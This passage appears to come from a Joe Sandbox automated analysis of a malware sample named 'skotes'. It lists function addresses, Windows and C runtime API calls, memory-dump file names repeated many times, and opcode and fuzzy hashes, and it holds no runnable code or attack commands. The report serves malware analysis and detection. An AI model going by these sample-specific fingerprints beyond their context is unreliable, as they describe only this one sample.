T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000003.00000002.2259427952.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000003.00000002.2259402438.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259427952.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259545942.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259564975.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259588358.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259725483.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259747921.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259777672.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259777672.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259832080.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259854853.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259900428.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259940473.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259982801.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260015325.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260047335.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260078000.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260108096.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260139428.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260170661.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260199799.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260227591.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260263618.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260296280.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260324771.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260352068.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260373862.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260404797.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260434873.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260466364.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260490758.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260517228.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260539615.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260563369.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260583746.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260583746.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260637922.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260660766.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260686363.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260709668.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260730795.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260754021.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260774105.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: ffa7c29de19862355a9c7522a465c303773764778bd26148568556ae5602622e
Instruction ID: de2fc9947eaa1ea1c590e010d9c48fe611bf2e719bcd6a94fcdd75da1c08d8f3
Opcode Fuzzy Hash: ffa7c29de19862355a9c7522a465c303773764778bd26148568556ae5602622e
Instruction Fuzzy Hash: 1C219A712402089BEB089B6CEC8573DBB62EBC1311F204A28E50CDB3D9C7BA56808353

Function 0062D82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0062A813,00000001,00000364,00000006,000000FF,?,0062EE3F,?,00000004,00000000,?,?), ref: 0062D871

Memory Dump Source

Source File: 00000003.00000002.2259427952.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000003.00000002.2259402438.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259427952.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259545942.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259564975.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259588358.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259725483.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259747921.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259777672.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259777672.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259832080.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259854853.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259900428.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259940473.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259982801.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260015325.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260047335.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260078000.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260108096.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260139428.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260170661.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260199799.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260227591.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260263618.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260296280.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260324771.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260352068.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260373862.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260404797.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260434873.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260466364.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260490758.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260517228.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260539615.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260563369.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260583746.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260583746.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260637922.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260660766.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260686363.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260709668.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260730795.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260754021.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260774105.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: de8d4d41066f49363c642023971ce081ff0a7d55516d015ecb086db4a0cdfa02
Instruction ID: bb0ddb25a7fb075ac9198dd7809a80e5dc76862ce9b3026a83d1c41336443aab
Opcode Fuzzy Hash: de8d4d41066f49363c642023971ce081ff0a7d55516d015ecb086db4a0cdfa02
Instruction Fuzzy Hash: A2F0E931611E3566FB216A72BC01ADB775BDF85370F158021FD08AB281DA28EC018DE0

Non-executed Functions

Function 005F2EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 005F2F5F
GetCurrentThreadId.KERNEL32 ref: 005F2F7E
__Mtx_unlock.LIBCPMT ref: 005F2FCC
__Cnd_broadcast.LIBCPMT ref: 005F2FE3
__Mtx_unlock.LIBCPMT ref: 005F30F5
GetCurrentThreadId.KERNEL32 ref: 005F3132
__Mtx_unlock.LIBCPMT ref: 005F319B

Memory Dump Source

Source File: 00000003.00000002.2259427952.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000003.00000002.2259402438.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259427952.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259545942.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259564975.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259588358.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259725483.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259747921.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259777672.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259777672.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259832080.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259854853.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259900428.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259940473.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259982801.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260015325.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260047335.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260078000.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260108096.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260139428.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260170661.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260199799.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260227591.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260263618.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260296280.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260324771.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260352068.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260373862.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260404797.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260434873.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260466364.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260490758.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260517228.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260539615.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260563369.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260583746.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260583746.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260637922.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260660766.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260686363.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260709668.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260730795.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260754021.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260774105.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: df1d028eae1bef13619afc3e54d5d745e3b997953e7b2a7b14b46303faedb833
Instruction ID: 10777561a897b31d9a7c79c4be1738e809e477d6fdfbe042f2636759ee1de91b
Opcode Fuzzy Hash: df1d028eae1bef13619afc3e54d5d745e3b997953e7b2a7b14b46303faedb833
Instruction Fuzzy Hash: 0AA1E7B09416099FEB24DF64C845B6BBBB9FF15324F04422EE915D7281EB39DA04CBD1

Function 0062CBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0062CC66

Strings

vb, xrefs: 0062CBE1

Memory Dump Source

Source File: 00000003.00000002.2259427952.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000003.00000002.2259402438.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259427952.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259545942.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259564975.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259588358.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259725483.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259747921.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259777672.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259777672.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259832080.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259854853.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259900428.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259940473.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259982801.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260015325.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260047335.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260078000.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260108096.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260139428.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260170661.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260199799.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260227591.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260263618.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260296280.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260324771.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260352068.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260373862.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260404797.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260434873.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260466364.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260490758.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260517228.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260539615.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260563369.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260583746.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260583746.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260637922.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260660766.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260686363.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260709668.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260730795.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260754021.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260774105.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: vb
API String ID: 3213747228-1055410840
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 21abd1d42bf84a7feb39b7d9fac04e2b448b4c2b7210a99b93aa91345aa72b4b
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: 7AB15832A00A659FDB15CF28D841BFEBBE6EF45360F15816AE844EB342D6349D02CF94

Function 0060BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0060BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0060BBE4
_xtime_get.LIBCPMT ref: 0060BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0060BC13

Memory Dump Source

Source File: 00000003.00000002.2259427952.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000003.00000002.2259402438.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259427952.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259545942.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259564975.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259588358.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259725483.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259747921.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259777672.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259777672.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259832080.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259854853.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259900428.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259940473.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259982801.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260015325.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260047335.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260078000.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260108096.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260139428.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260170661.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260199799.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260227591.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260263618.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260296280.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260324771.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260352068.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260373862.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260404797.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260434873.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260466364.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260490758.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260517228.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260539615.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260563369.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260583746.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260583746.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260637922.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260660766.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260686363.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260709668.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260730795.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260754021.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260774105.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 85ab33dd228ecde567b120bdfb3759a6afbe2ab9741ea01ea850cb6d1028f085
Instruction ID: cda47d63e1a8c6ec73fb5afb9e2ce7f9aa5fcc926613e40d54cd5fe4acb82b3a
Opcode Fuzzy Hash: 85ab33dd228ecde567b120bdfb3759a6afbe2ab9741ea01ea850cb6d1028f085
Instruction Fuzzy Hash: C5215175A40119AFDF04EFA4CC819BFB7BAEF09720F105119FA01B7291DB719D019BA5

Function 0062F35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0062F3A3

Strings

8"e, xrefs: 0062F44B
`'e, xrefs: 0062F375

Memory Dump Source

Source File: 00000003.00000002.2259427952.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000003.00000002.2259402438.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259427952.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259545942.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259564975.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259588358.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259725483.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259747921.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259777672.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259777672.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259832080.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259854853.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259900428.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259940473.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259982801.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260015325.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260047335.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260078000.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260108096.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260139428.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260170661.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260199799.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260227591.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260263618.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260296280.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260324771.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260352068.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
